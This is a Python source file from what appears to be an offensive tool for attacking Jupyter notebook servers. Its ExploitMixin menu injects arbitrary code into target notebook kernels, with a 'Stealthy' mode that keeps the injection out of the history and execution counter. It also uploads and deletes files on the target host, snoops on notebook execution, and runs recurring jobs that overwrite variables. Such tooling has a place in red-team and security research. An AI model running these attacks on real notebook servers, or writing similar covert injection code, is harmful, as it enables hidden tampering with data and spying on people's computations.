import inquirer
import asyncio
from vger.attack import attack_session, snoop, stomp
import json
import base64
import multiprocessing as mp
from vger.connection import DumbConnection


class ExploitMixin:
    def inject(self):
        """
        Run code in the context of a notebook runtime. This can be used to overwrite existing variables or modify data.
        """
        attack_menu = [
            inquirer.List(
                name="payload",
                message="Would you like to type your payload or reference an existing .py file?",
                choices=["Type", ".py"],
            )
        ]
        answer = inquirer.prompt(attack_menu)
        if answer["payload"] == "Type":
            payload_str = inquirer.editor("What code would you like to inject?")
        else:
            payload = [
                inquirer.Path(
                    name="path",
                    message="Where is the payload .py? ",
                    path_type=inquirer.Path.FILE,
                    exists=True,
                )
            ]
            answer = inquirer.prompt(payload)
            path = answer["path"].split("? ")[-1]
            with open(path, "r") as f:
                payload_str = f.read()
        silent = [
            inquirer.List(
                "choice",
                message="Would you like show up in the history and modify the execution counter?",
                choices=["Yes (Noisy)", "No (Stealthy)"],
            )
        ]
        answer = inquirer.prompt(silent)
        if "Yes" in answer["choice"]:
            silent = False
        else:
            silent = True
        loop = asyncio.get_event_loop()
        loop.run_until_complete(
            attack_session(self.connection, self.target, payload_str, silent=silent)
        )

    def dump_history(self):
        """
        Use IPython magic to see the notebook command history.
        """
        loop = asyncio.get_event_loop()
        loop.run_until_complete(
            attack_session(
                self.connection,
                self.target,
                f"%history",
                silent=False,
                print_out=False,
                get_hist=True,
            )
        )

    def switch_target_notebook(self):
        """
        Change target notebook for notebook-specific operations.
        """
        self.connection.list_running_jpy_sessions()
        self.pick_target()
        self.exploit_attack()

    def upload(self):
        """
        Upload file from local host to target host.
        """
        payload = [
            inquirer.Path(
                name="path",
                message="What file do you want to upload? ",
                path_type=inquirer.Path.FILE,
                exists=True,
            )
        ]
        answer = inquirer.prompt(payload)
        file_path = answer["path"].split("? ")[-1]
        with open(file_path, "rb") as f:
            payload = f.read()
            payload = base64.b64encode(payload).decode("utf-8")
        target = [
            inquirer.Text("path", "Where do you want to place the file?", default="/")
        ]
        answer = inquirer.prompt(target)
        data = {
            "content": payload,
            "format": "base64",
            "path": answer["path"],
            "type": "file",
        }
        self.connection.print_with_rule(
            self.connection.upload(answer["path"], json.dumps(data))
        )

    def delete(self):
        """
        Delete specific file.
        """
        target = [inquirer.Text("path", "What file do you want to delete?")]
        answer = inquirer.prompt(target)
        response = self.connection.delete(answer["path"])
        if response.status_code == 204:
            self.connection.print_with_rule(f"{answer["path"]} deleted successfully")
        else:
            self.connection.print_with_rule(f"Error deleting {answer["path"]}")

    def snoop_for(self):
        """
        Monitor notebook execution and output for specified time.
        """
        if not self.target:
            self.connection.print_with_rule("You must select a target to snoop on")
            self.pick_target()
            self.snoop_for()
        else:
            answer = [
                inquirer.Text(
                    "seconds", "How many seconds would you like to snoop for?"
                )
            ]
            answer = inquirer.prompt(answer)
            try:
                int(answer["seconds"])
            except (ValueError, KeyboardInterrupt):
                self.connection.print_with_rule("Please specify a timeout in seconds")
                self.menu()
            loop = asyncio.get_event_loop()
            with self.connection.con.status("Snooping..."):
                loop.run_until_complete(
                    snoop(self.connection, self.target, timeout=int(answer["seconds"]))
                )

    def variable_stomp(self):
        answers = [
            inquirer.Text("job_name", "What do you want to name this job?"),
            inquirer.Editor(
                "objective", "What do you want to run on a recurring basis?"
            ),
            inquirer.Text(
                "sleep", "How many seconds do you want to sleep between runs?"
            ),
        ]
        answers = inquirer.prompt(answers)
        ctx = mp.get_context("spawn")
        x = DumbConnection(self.connection.url, self.connection.secret)
        x.list_running_jpy_sessions()
        try:
            p = ctx.Process(
                target=stomp,
                args=(x, self.target, answers["objective"], int(answers["sleep"])),
            )
        except:
            self.connection.print_with_rule("Invalid args")
            self.exploit_attack()
        self.jobs[answers["job_name"]] = p
        p.start()

    def kill_job(self):
        answers = [
            inquirer.Checkbox(
                "jobs", "What job(s) do you want to kill?", choices=self.jobs.keys()
            )
        ]
        answers = inquirer.prompt(answers)
        for job in answers["jobs"]:
            self.jobs[job].kill()
            self.connection.print_with_rule(f"Killed {job}")

    def list_modules(self):
        payload_str = (
            "from types import ModuleType as MT;\n"
            + "[k for k, v in globals().items() if type(v) is MT and not k.startswith('__')]"
        )
        loop = asyncio.get_event_loop()
        loop.run_until_complete(
            attack_session(
                self.connection, self.target, payload_str, silent=False, print_out=True
            )
        )
